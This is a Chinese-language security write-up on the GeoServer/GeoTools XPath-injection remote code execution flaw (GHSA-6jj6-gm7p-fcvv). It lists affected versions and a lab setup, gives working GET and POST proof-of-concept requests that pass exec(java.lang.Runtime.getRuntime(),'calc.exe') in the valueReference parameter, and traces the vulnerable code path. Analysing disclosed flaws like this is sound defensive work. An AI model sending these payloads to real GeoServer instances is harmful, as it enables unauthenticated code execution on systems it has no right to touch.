一、前言
官方公告: https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
漏洞描述:
由于不安全地将属性名称评估为 XPath 表达式,多个 OGC 请求参数允许未经身份验证的用户通过针对默认 GeoServer 安装的特制输入进行远程代码执行 (RCE)。
GeoServer 调用的 GeoTools 库 API 会以不安全的方式将要素类型的属性名称传递给 commons-jxpath 库,该库在评估 XPath 表达式时可以执行任意代码。此 XPath 评估仅供复杂要素类型(即应用程序架构数据存储)使用,但也被错误地应用于简单要素类型,这使得此漏洞适用于所有GeoServer 实例。
影响版本:
GeoServer:
< 2.23.6
>= 2.24.0, < 2.24.4
>= 2.25.0, < 2.25.2
二、环境搭建
源码下载:https://github.com/geoserver/geoserver/archive/refs/tags/2.23.5.zip war下载:https://sourceforge.net/projects/geoserver/files/GeoServer/2.23.5/geoserver-2.23.5-war.zip/download
配置好 Tomcat 和 debug 。
启动 Tomcat,访问http://127.0.0.1:8080/geoserver/web,可以看到自带的图层数据,环境搭建成功。
三、漏洞复现
使用 GetPropertyValue 进行复现,POC:
service=wfs&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'calc.exe')
或者:
`POST /geoserver/wfs HTTP/1.1` `Host: 127.0.0.1:8080` `Content-Type: application/xml` `<wfs:GetPropertyValue service='WFS' version='2.0.0'``xmlns:topp='http://www.openplans.org/topp'``xmlns:fes='http://www.opengis.net/fes/2.0'``xmlns:wfs='http://www.opengis.net/wfs/2.0'``valueReference='exec(java.lang.Runtime.getRuntime(),"calc.exe")'>` `<wfs:Query typeNames='topp:states'/>``</wfs:GetPropertyValue>`
四. 漏洞分析
在第一个漏洞公告中已经说明了可以通过WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求利用此漏洞。
这些操作在《WFS参考》文档中可以找到使用方法,本文复现使用的操作为 GetPropertyValue,作用如下:
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
就是从 typeNames 指定的图层中检索 valueReference 属性的值。GeoServer 调用的 GeoTools 库 API 会以不安全的方式将该属性传递给 commons-jxpath 库,该库在评估 XPath 表达式时就导致任意代码执行。
跟踪调试,从 Dispatcher.handleRequestInternal() 方法看起,处理请求逻辑。
跟进 findService() 方法,看到根据 id 和 version 选出了符合条件的 Service 对象。
在 parseRequestKVP() 方法中,从 request 中获取了参数键值对,保存为 GetPropertyValueTypeImpl 对象。
然后执行请求。
反射调用 getPropertyValue() 方法。
跳到 DefaultWebFeatureService20.getPropertyValue(),实例化了一个 GetPropertyValue 对象,接着调用 GetPropertyValue.run()。
跟进 FilterFactoryImpl.property(),实例化了一个 AttributeExpressionImpl 对象,将前端传入的 valueReference 参数值赋给了this.attPath。
propertyName和propertyNameNoIndexes都为 AttributeExpressionImpl 对象,调用 evaluate() 评估属性描述符,也就是评估这个 XPath 表达式,符合漏洞描述中所说的。
跟进,调用 PropertyAccessors.findPropertyAccessors(),遍历找到可以处理当前评估操作的 PropertyAccessor 对象,获取到 FeaturePropertyAccessorFactory,正是第二个漏洞公告中提到的利用方法。
然后调用 FeaturePropertyAccessorFactory.get(),传入this.attPath作为 XPath 表达式。this.attPath是前端传入的valueReference参数的值,也就是说这个位置的 XPath 表达式可控。
跟进,向context中注册了命名空间的名称及uri,然后迭代 XPath 指针。
编译表达式,调用 compute() 进行计算。
将this.args的计算转换后结果保存到parameters中,包含一个 Runtime对象和calc.exe字符串;
然后获取到exec()方法,调用该方法执行命令。
本文就简单跟踪一下命令执行的过程,更多细节及利用方式可参考: